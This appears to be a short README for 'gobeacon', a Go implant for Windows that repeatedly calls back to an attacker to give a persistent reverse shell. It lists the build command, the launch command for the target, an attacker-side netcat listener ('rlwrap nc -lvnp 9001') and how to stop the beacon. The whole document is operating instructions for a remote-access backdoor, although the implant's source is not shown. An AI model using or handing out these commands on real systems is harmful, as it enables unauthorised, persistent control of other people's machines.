A small beaconing windows implant that repeatedly calls out to the user. If the shell dies, the implant beacons again in 5 seconds.
go build gobeacon.go
./gobeacon start <IP> <PORT>
On target:
./gobeacon start 127.0.0.1 9001
On attacker:
rlwrap nc -lvnp 9001
To stop the beacon:
./gobeacon stop 127.0.0.1 9001
OR From inside the shell
beacon> exit
Creds to this blogpost where I ripped some daemonization code from: https://socketloop.com/tutorials/golang-daemonizing-a-simple-web-server-process-example